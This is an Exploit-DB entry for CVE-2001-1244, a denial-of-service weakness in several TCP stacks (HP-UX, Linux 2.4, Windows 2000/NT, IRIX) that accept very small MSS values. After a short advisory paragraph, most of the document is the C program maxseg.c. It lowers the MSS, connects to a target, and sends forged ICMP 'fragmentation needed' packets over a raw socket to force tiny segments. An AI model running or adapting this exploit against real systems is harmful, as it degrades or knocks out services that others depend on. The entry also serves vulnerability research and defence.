标题: HP-UX 11 / Linux Kernel 2.4 / Windows 2000/NT 4.0 / IRIX 6.5 - Small TCP MSS Denial of Service EDB-ID: 20997 CVE: 2001-1244 类型: DOS 平台: MULTIPLE 发布日期: 2001-07-07 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/2997/info

A potential denial of service vulnerability exists in several TCP stack implementations.

TCP has a MSS (maximum segment size) option that is used by a TCP client to announce to a peer the maximum amount of TCP data that can be sent per segment. The potential for attacks exists because in many cases only a small minimum value is enforced for the MSS.

By setting the MSS to a low value (such as 1) and making requests for large amounts of data through a TCP service, an attacker could effectively cause a denial of service by causing a large workload on a system. 
*/


/*
 * (C)Copyright 2001 Darren Reed.
 *
 * maxseg.c
 */
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#if BSD >= 199306
#include <sys/sysctl.h>
#endif

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip_var.h>
#include <netinet/tcp.h>
#include <netinet/tcp_timer.h>
#include <netinet/tcp_var.h>

#include <time.h>
#include <fcntl.h>
#include <errno.h>

void prepare_icmp(struct sockaddr_in *);
void primedefaultmss(int, int);
u_short in_cksum(u_short *, int);
int icmp_unreach(struct sockaddr_in *, struct sockaddr_in *);


#define NEW_MSS 512
#define NEW_MTU 1500
static int start_mtu = NEW_MTU;

void primedefaultmss(fd, mss)
int fd, mss;
{
#ifdef __NetBSD__
 static int defaultmss = 0;
 int mib[4], msso, mssn;
 size_t olen;

 if (mss == 0)
  mss = defaultmss;
 mssn = mss;
 olen = sizeof(msso);

 mib[0] = CTL_NET;
 mib[1] = AF_INET;
 mib[2] = IPPROTO_TCP;
 mib[3] = TCPCTL_MSSDFLT;
 if (sysctl(mib, 4, &msso, &olen, NULL, 0))
  err(1, "sysctl");
 if (defaultmss == 0)
  defaultmss = msso;

 if (sysctl(mib, 4, 0, NULL, &mssn, sizeof(mssn)))
  err(1, "sysctl");

 if (sysctl(mib, 4, &mssn, &olen, NULL, 0))
  err(1, "sysctl");

 printf("Default MSS: old %d new %d\n", msso, mssn);
#endif

#if HACKED_KERNEL
 int opt;

 if (mss)
  op = mss;
 else
  op = 512;
 if (setsockopt(fd, IPPROTO_TCP, TCP_MAXSEG+1, (char *)&op, sizeof(op)))
  err(1, "setsockopt");
#endif
}


int
main(int argc, char *argv[])
{
 struct sockaddr_in me, them;
 int fd, op, olen, mss;
 char prebuf[16374];
 time_t now1, now2;
 struct timeval tv;

 mss = NEW_MSS;

 primedefaultmss(-1, mss);

 fd = socket(AF_INET, SOCK_STREAM, 0);
 if (fd == -1)
  err(1, "socket");

 memset((char *)&them, 0, sizeof(me));
 them.sin_family = AF_INET;
 them.sin_port = ntohs(atoi(argv[2]));
 them.sin_addr.s_addr = inet_addr(argv[1]);

 primedefaultmss(fd, mss);

 op = fcntl(fd, F_GETFL, 0);
 if (op != -1) {
  op |= O_NONBLOCK;
  fcntl(fd, F_SETFL, op);
 }

 op = 1;
 (void) setsockopt(fd, SOL_SOCKET, TCP_NODELAY, &op, sizeof(op));

 if (connect(fd, (struct sockaddr *)&them, sizeof(them)) &&
     (errno != EINPROGRESS))
  err(1, "connect");

 olen = sizeof(op);
 if (!getsockopt(fd, IPPROTO_TCP, TCP_MAXSEG, (char *)&op, &olen))
  printf("Remote mss %d\n", op);
 else
  err(1, "getsockopt");

#if HACKED_KERNEL
 olen = sizeof(op);
 if (!getsockopt(fd, IPPROTO_TCP, TCP_MAXSEG+1, (char *)&op, &olen))
  printf("Our mss %d\n", op);
 else
  err(1, "getsockopt(+1)");
#endif

 olen = sizeof(me);
 if (getsockname(fd, (struct sockaddr *)&me, &olen))
  err(1, "getsockname");

 (void) read(fd, prebuf, sizeof(prebuf));

 now1 = time(NULL);
 for (op = 2; op; op--) {
  icmp_unreach(&me, &them);
  olen = read(fd, prebuf, sizeof(prebuf));
  if (olen == -1) {
   if (errno == ENOBUFS || errno == EAGAIN ||
       errno == EWOULDBLOCK) {
    tv.tv_sec = 0;
    tv.tv_usec = 10000;
    select(3, NULL, NULL, NULL, &tv);
    continue;
   }
   warn("read");
   break;
  }
 }
 now2 = time(NULL);
 printf("Elapsed time %d\n", now2 - now1);

 primedefaultmss(fd, 0);
 close(fd);
 return 0;
}


/*
 * in_cksum() & icmp_unreach() ripped from nuke.c prior to modifying
 */
static char icmpbuf[256];
static int icmpsock = -1;
static struct sockaddr_in destsock;

void
prepare_icmp(dst)
  struct sockaddr_in *dst;
{
 struct tcphdr *tcp;
 struct icmp *icmp;

 icmp = (struct icmp *)icmpbuf;

 if (icmpsock == -1) {

  memset((char *)&destsock, 0, sizeof(destsock));
  destsock.sin_family = AF_INET;
  destsock.sin_addr = dst->sin_addr;

  srand(getpid());

  icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
  if (icmpsock == -1)
   err(1, "socket");

  /* the following messy stuff from Adam Glass (icmpsquish.c) */
  memset(icmp, 0, sizeof(struct icmp) + 8);
  icmp->icmp_type = ICMP_UNREACH;
  icmp->icmp_code = ICMP_UNREACH_NEEDFRAG;
  icmp->icmp_pmvoid = 0;

  icmp->icmp_ip.ip_v = IPVERSION;
  icmp->icmp_ip.ip_hl = 5;
  icmp->icmp_ip.ip_len = htons(NEW_MSS);
  icmp->icmp_ip.ip_p = IPPROTO_TCP;
  icmp->icmp_ip.ip_off = htons(IP_DF);
  icmp->icmp_ip.ip_ttl = 11 + (rand() % 50);
  icmp->icmp_ip.ip_id = rand() & 0xffff;

  icmp->icmp_ip.ip_src = dst->sin_addr;

  tcp = (struct tcphdr *)(&icmp->icmp_ip + 1);
  tcp->th_sport = dst->sin_port;
 }
 icmp->icmp_nextmtu = htons(start_mtu);
 icmp->icmp_cksum = 0;
}


u_short
in_cksum(addr, len)
u_short *addr;
int len;
{
     register int nleft = len;
     register u_short *w = addr;
     register int sum = 0;
     u_short answer = 0;

     /*
      *  Our algorithm is simple, using a 32 bit accumulator (sum),
      *  we add sequential 16 bit words to it, and at the end, fold
      *  back all the carry bits from the top 16 bits into the lower
      *  16 bits.
      */
     while( nleft > 1 )  {
             sum += *w++;
             nleft -= 2;
     }

     /* mop up an odd byte, if necessary */
     if( nleft == 1 ) {
             *(u_char *)(&answer) = *(u_char *)w ;
             sum += answer;
     }

     /*
      * add back carry outs from top 16 bits to low 16 bits
      */
     sum = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
     sum += (sum >> 16);                     /* add carry */
     answer = ~sum;                          /* truncate to 16 bits */
     return (answer);
}

int icmp_unreach(src, dst)
  struct sockaddr_in *src, *dst;
{
 static int donecksum = 0;
 struct sockaddr_in dest;
 struct tcphdr *tcp;
 struct icmp *icmp;
 int i, rc;
 u_short sum;

 icmp = (struct icmp *)icmpbuf;

 prepare_icmp(dst);

 icmp->icmp_ip.ip_dst = src->sin_addr;

 sum = in_cksum((u_short *)&icmp->icmp_ip, sizeof(struct ip));
 icmp->icmp_ip.ip_sum = sum;

 tcp = (struct tcphdr *)(&icmp->icmp_ip + 1);
 tcp->th_dport = src->sin_port;

 sum = in_cksum((u_short *)icmp, sizeof(struct icmp) + 8);
 icmp->icmp_cksum = sum;
 start_mtu /= 2;
 if (start_mtu < 69)
  start_mtu = 69;

 i = sendto(icmpsock, icmpbuf, sizeof(struct icmp) + 8, 0,
     (struct sockaddr *)&destsock, sizeof(destsock));
 if (i == -1 && errno != ENOBUFS && errno != EAGAIN &&
     errno != EWOULDBLOCK)
  err(1, "sendto");
 return(0);
} URL: https://www.exploit-db.com/exploits/20997